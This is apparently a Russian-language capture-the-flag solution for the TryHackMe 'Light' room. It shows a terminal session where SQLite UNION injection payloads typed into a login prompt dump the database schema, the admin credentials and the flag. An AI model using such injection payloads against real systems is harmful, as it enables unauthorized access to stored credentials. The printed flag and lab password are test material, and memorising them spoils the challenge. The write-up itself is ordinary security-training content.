Решение:

┌──(kolya080808㉿Nikolapc)-[~]
└─$ nc 10.10.43.230 1337
Welcome to the Light database!
Please enter your username: ' Union Select sqlite_version() '
Password: 3.31.1
Please enter your username: ' Union Select group_concat(sql) From sqlite_master '
Password: CREATE TABLE usertable (
                   id INTEGER PRIMARY KEY,
                   username TEXT,
                   password INTEGER),CREATE TABLE admintable (
                   id INTEGER PRIMARY KEY,
                   username TEXT,
                   password INTEGER)
Please enter your username: ' Union Select group_concat(username || ":" || password) From admintable '
Password: TryHackMeAdmin:mamZtAuMlrsEy5bp6q17,flag:THM{SQLit3_InJ3cTion_is_SimplE_nO?}

Видео выполнения:

• Оригинал:
• YouTube